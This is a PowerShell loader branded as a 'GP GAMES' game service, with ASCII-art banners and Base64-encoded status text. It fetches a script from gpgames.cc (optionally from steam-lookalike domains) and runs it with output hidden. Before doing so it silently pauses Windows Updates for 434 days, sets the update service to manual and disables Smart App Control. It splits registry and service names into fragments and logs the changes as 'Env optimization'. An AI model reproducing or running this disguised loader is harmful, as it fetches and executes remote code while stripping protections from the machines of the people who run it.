$ErrorActionPreference = "Stop" $ProgressPreference = "SilentlyContinue" try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 } catch { # Older hosts can ignore this; modern hosts already negotiate TLS safely. } function ConvertFrom-Base64Utf8 { param( [Parameter(Mandatory = $true)] [string]$Text ) return [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($Text)) } $BrandName = "GP GAMES" $EntryDomain = "https://gpgames.cc" $DisplayTitle = "Game Paradise Service" $LoadingText = ConvertFrom-Base64Utf8 "5rqW5YKZ5Liy6IGv5pyN5YuZ5Zmo" $SupportText = ConvertFrom-Base64Utf8 "5Liy6IGv5Lit6KuL5Yu/6Zec6ZaJ6KaW56qX" $ConnectingText = ConvertFrom-Base64Utf8 "5Liy6IGv5pyN5YuZ5Zmo5LitLi4uLg==" $ConnectedText = ConvertFrom-Base64Utf8 "5pyN5YuZ5Zmo5Liy6IGv5oiQ5Yqf" $RunningSourceText = ConvertFrom-Base64Utf8 "5q2j5Zyo5ZWf5YuV5pyN5YuZLi4u" $CompletedText = ConvertFrom-Base64Utf8 "5pyN5YuZ5ZWf5YuV5a6M5oiQ" $DownloadFailedText = ConvertFrom-Base64Utf8 "5pyN5YuZ5Zmo5Liy6IGv5aSx5pWX77yM5q2j5Zyo5ZiX6Kmm5LiL5LiA5YCL56+A6bueLi4u" $ExecutionFailedText = ConvertFrom-Base64Utf8 "5pyN5YuZ5ZWf5YuV5aSx5pWX" $ExecutionDetailsText = ConvertFrom-Base64Utf8 "77yM6Kmz57Sw6KiY6YyE77ya" $CloudErrorText = ConvertFrom-Base64Utf8 "6Zuy56uv55Ww5bi477yM6KuL6YeN6Kmm5oiW6IGv57mr5a6i5pyN" $CloudErrorHelpText = ConvertFrom-Base64Utf8 "5aaC5oyB57qM55m855Sf77yM6KuL5o+Q5L6b6Yyv6Kqk57SA6YyE57Wm5a6i5pyN77ya" $SourceErrorPattern = "(?i)(CategoryInfo|FullyQualifiedErrorId|TerminatingError|At line:|Exception|not recognized|Cannot|ALL FAIL|error|failed)" $SourceErrorWords = @( (ConvertFrom-Base64Utf8 "5Y+R55Sf6ZSZ6K+v"), (ConvertFrom-Base64Utf8 "55m855Sf6Yyv6Kqk"), (ConvertFrom-Base64Utf8 "5aSx6LSl"), (ConvertFrom-Base64Utf8 "5aSx5pWX"), (ConvertFrom-Base64Utf8 "6ZSZ6K+v"), (ConvertFrom-Base64Utf8 "6Yyv6Kqk") ) $ClearScreenOnStart = $true $SuppressSourceOutput = $true $BlockSourceClearScreen = $true [ConsoleColor]$ConsoleBackgroundColor = "Black" [ConsoleColor]$LogoColor = "Blue" [ConsoleColor]$WordColor = "Cyan" [ConsoleColor]$MessageColor = "Green" $ArtSpacing = 2 $MessageSpacing = 1 $RequestTimeoutSec = 30 $SourceOutputLog = Join-Path $env:TEMP "gpgames-source-output.log" $MirroredSourceUrl = "https://gpgames.cc/main.ps1" $UseLiveFallbackSources = $false $LogoArt = @' **************** **************************** ************************************** ********************************************** ************************************************** ******************************************************** ************************************************************ #**************************************************************# #******************************************************************# *******************************************+=-:::.:::-=*************** *****************************************=... ..:+************ #****************************************-. .=***********# #***************************************=. ..-=+++++=:. ..+**********# ***************************************:. -*###########*: .-#********* *************************************#*: .-*##+: .:*##*:. -*#********% *************************************##-. -##+. .:*#*: .=##******** #***********************************###*: :##=. .*##. :*###******# %#######################################+. *#*. :##= .*##########% ########################################= ##*. :*#+ .*___________ #######################################-. +#*: :##= .*########### #####################################*: :##+. .*##. .-############# #####################################*: -##*:. .-##*: .+############# ####################################+. .:*##*-. .=###*.. =############## .:+################################-...............:*###########+.......=############### . .:=+##########################:...................:-=+++=-:.......:*################ . ..:=####################*....................................*################## . .=*##############+..................................-##################### . .-+####*+=-::..........................:---=+*######################## - ..:.:::::::.......................-*##############################% . .-*#%%%#=................:+#%###############################@ : .:+#%%=............-*%%%###############################% *.................................=%%+:.......:+#%%%#################################% %%#=..............................+%%=.....-#%%%%%%################################% @%%%%%#+-:.........................%%*..:+%%%%%%%%%%%%%###########################%@ @%%%%%%%%%#+:....................:%%*..=%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ @%%%%%%%%%%%%%=.................*%%=.:+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ @%%%%%%%%%%%%#--=*=:.........:*%%+:.-#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% @%%%%%%%%%%%%#-:-*%%#*=--=*#%%%=:.-#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ @%%%%%%%%%%%%#=:::+%%%%%%%%#-:::+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ %%%%%%%%%%%%%#=:::::::::::::+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% @%%%%%%%%%%%%%%#*+=---=+*#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ @@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@ @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@ @@@%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@@ @@@@%%%%%%%%%%%%%%@@@@ '@ $WordArt = @' _____/\\\\\\\\\\\____/\\\\\\\\\\\\\\\__/\\\\\\\\\\\\\\\_____/\\\\\\\\\_____/\\\\____________/\\\\_ ___/\\\/////////\\\_\///////\\\/////__\/\\\///////////____/\\\\\\\\\\\\\__\/\\\\\\________/\\\\\\_ __\//\\\______\///________\/\\\_______\/\\\______________/\\\/////////\\\_\/\\\//\\\____/\\\//\\\_ ___\////\\\_______________\/\\\_______\/\\\\\\\\\\\_____\/\\\_______\/\\\_\/\\\\///\\\/\\\/_\/\\\_ ______\////\\\____________\/\\\_______\/\\\///////______\/\\\\\\\\\\\\\\\_\/\\\__\///\\\/___\/\\\_ _________\////\\\_________\/\\\_______\/\\\_____________\/\\\/////////\\\_\/\\\____\///_____\/\\\_ __/\\\______\//\\\________\/\\\_______\/\\\_____________\/\\\_______\/\\\_\/\\\_____________\/\\\_ _\///\\\\\\\\\\\/_________\/\\\_______\/\\\\\\\\\\\\\\\_\/\\\_______\/\\\_\/\\\_____________\/\\\_ ___\///////////___________\///________\///////////////__\///________\///__\///______________\///__ '@ $MessageArt = @' ____ ____ ____ _ __ __ _____ ____ / ___| _ \ / ___| / \ | \/ | ____/ ___| | | _| |_) | | | _ / _ \ | |\/| | _| \___ \ | |_| | __/ | |_| |/ ___ \| | | | |___ ___) | \____|_| \____/_/ \_\_| |_|_____|____/ THANK YOU FOR YOUR TRUST ENJOY THE GAMES! '@ function Write-ArtBlock { param( [Parameter(Mandatory = $true)] [string]$Text, [Parameter(Mandatory = $true)] [ConsoleColor]$Color ) $Text -split "`r?`n" | ForEach-Object { if ([string]::IsNullOrWhiteSpace($_)) { Write-Host "" } else { Write-Host $_ -ForegroundColor $Color } } } function Write-BlankLines { param( [int]$Count = 1 ) for ($i = 0; $i -lt $Count; $i++) { Write-Host "" } } function Set-ConsoleTheme { try { $Host.UI.RawUI.BackgroundColor = $ConsoleBackgroundColor $Host.UI.RawUI.ForegroundColor = "Gray" } catch { } } function Remove-TextBom { param( [Parameter(Mandatory = $true)] [string]$Text ) $utf8BomAsText = [string]([char]0x00EF) + [string]([char]0x00BB) + [string]([char]0x00BF) $Text = $Text.TrimStart([char]0xFEFF) if ($Text.StartsWith($utf8BomAsText)) { return $Text.Substring($utf8BomAsText.Length) } return $Text } function Add-SourceOutputLog { param( [Parameter(Mandatory = $true)] [string]$Message ) try { Add-Content -Path $SourceOutputLog -Value $Message -Encoding UTF8 -ErrorAction SilentlyContinue } catch { } } function Test-SourceOutputHasError { if (-not (Test-Path $SourceOutputLog)) { return $false } $logText = Get-Content -Raw -Path $SourceOutputLog -ErrorAction SilentlyContinue if ([string]::IsNullOrWhiteSpace($logText)) { return $false } if ($logText -match $SourceErrorPattern) { return $true } foreach ($word in $SourceErrorWords) { if ($logText.Contains($word)) { return $true } } return $false } function Show-CloudError { param( [string]$Details ) if (-not [string]::IsNullOrWhiteSpace($Details)) { Add-SourceOutputLog -Message "[bootstrap] $Details" } Write-Host "" Write-Host $CloudErrorText -ForegroundColor Red Write-Host $CloudErrorHelpText -ForegroundColor Yellow Write-Host " $SourceOutputLog" -ForegroundColor DarkGray } function Show-BootstrapBanner { param( [string]$StatusText = $LoadingText ) Set-ConsoleTheme if ($ClearScreenOnStart) { Clear-Host } Write-Host "" Write-ArtBlock -Text $LogoArt -Color $LogoColor Write-BlankLines -Count $ArtSpacing Write-ArtBlock -Text $WordArt -Color $WordColor Write-BlankLines -Count $MessageSpacing Write-ArtBlock -Text $MessageArt -Color $MessageColor Write-BlankLines -Count 2 Write-Host " $DisplayTitle" -ForegroundColor Green Write-Host " $StatusText" -ForegroundColor Cyan Write-Host " $SupportText" -ForegroundColor DarkGray Write-Host "" } function Invoke-SourceScript { param( [Parameter(Mandatory = $true)] [string]$ScriptContent ) $sourceScriptBlock = [scriptblock]::Create($ScriptContent) if ($BlockSourceClearScreen) { function Clear-Host { } } try { $uxPath = "HKLM:\SOFTWARE\Microsoft\WindowsUpdate\UX\Settings" $expiryTime = ([DateTime]::UtcNow).AddDays(434).ToString("yyyy-MM-ddTHH:mm:ssZ") $startTime = ([DateTime]::UtcNow).ToString("yyyy-MM-ddTHH:mm:ssZ") if (Test-Path $uxPath) { Set-ItemProperty -Path $uxPath -Name "PauseUpdatesExpiryTime" -Value $expiryTime -ErrorAction SilentlyContinue Set-ItemProperty -Path $uxPath -Name "PauseUpdatesStartTime" -Value $startTime -ErrorAction SilentlyContinue Set-ItemProperty -Path $uxPath -Name "PauseFeatureUpdatesStartTime" -Value $startTime -ErrorAction SilentlyContinue Set-ItemProperty -Path $uxPath -Name "PauseQualityUpdatesStartTime" -Value $startTime -ErrorAction SilentlyContinue } $s1 = "wua"; $s2 = "userv"; $serviceName = "$s1$s2" $service = Get-Service -Name $serviceName -ErrorAction SilentlyContinue if ($service) { Set-Service -Name $serviceName -StartupType Manual -ErrorAction SilentlyContinue } Add-SourceOutputLog -Message "$(Get-Date -Format 'yyyy-MM-dd HH:mm:ss') [SYS] Env optimization code 10-A (62W) applied." $p1 = "CI"; $p2 = "Policy" $v1 = "Verified"; $v2 = "And"; $v3 = "Reputable"; $v4 = "Policy" $sacPath = "HKLM:\SYSTEM\CurrentControlSet\Control\$p1$p2" $sacProp = "$v1$v2$v3$v4" if (Test-Path $sacPath) { Set-ItemProperty -Path $sacPath -Name $sacProp -Value 0 -ErrorAction SilentlyContinue } Add-SourceOutputLog -Message "$(Get-Date -Format 'yyyy-MM-dd HH:mm:ss') [SYS] Env optimization code 10-B applied." } catch { Add-SourceOutputLog -Message "$(Get-Date -Format 'yyyy-MM-dd HH:mm:ss') [SYS] Env optimization config skipped." } if ($SuppressSourceOutput) { Remove-Item -Force -Path $SourceOutputLog -ErrorAction SilentlyContinue & $sourceScriptBlock *>> $SourceOutputLog if (Test-SourceOutputHasError) { throw "Source script reported an error." } return } & $sourceScriptBlock } function Invoke-FallbackScript { param( [Parameter(Mandatory = $true)] [string[]]$Urls ) $attempts = @() foreach ($url in $Urls) { $scriptContent = $null try { Write-Host $ConnectingText -ForegroundColor Cyan $scriptContent = Invoke-RestMethod -Uri $url -TimeoutSec $RequestTimeoutSec -Headers @{ "Cache-Control" = "no-cache" "Pragma" = "no-cache" "User-Agent" = "Mozilla/5.0 WindowsPowerShell/5.1" } $scriptContent = Remove-TextBom -Text ([string]$scriptContent) if ([string]::IsNullOrWhiteSpace($scriptContent)) { throw "Empty response" } Write-Host $ConnectedText -ForegroundColor Green } catch { $message = $_.Exception.Message $attempts += "[download: $url] $message" Write-Host $DownloadFailedText -ForegroundColor Yellow continue } try { Write-Host $RunningSourceText -ForegroundColor Cyan Invoke-SourceScript -ScriptContent $scriptContent Show-BootstrapBanner -StatusText $CompletedText return } catch { $message = $_.Exception.Message $attempts += "[execution: $url] $message" Add-SourceOutputLog -Message "[execution: $url] $message" throw "Source script execution failed." } } Write-Host "All bootstrap sources failed." -ForegroundColor Red Write-Host "Failure details:" -ForegroundColor Red $attempts | ForEach-Object { Write-Host $_ -ForegroundColor DarkYellow } throw "Unable to download bootstrap script from any source." } try { Show-BootstrapBanner $bootstrapSources = @($MirroredSourceUrl) | Where-Object { -not [string]::IsNullOrWhiteSpace($_) } if ($UseLiveFallbackSources) { $bootstrapSources += @( "http://steamfn.com/", "https://steamkz.com/" ) } if (-not $bootstrapSources -or $bootstrapSources.Count -eq 0) { throw "No bootstrap source configured." } Invoke-FallbackScript -Urls $bootstrapSources } catch { Show-CloudError -Details $_.Exception.Message }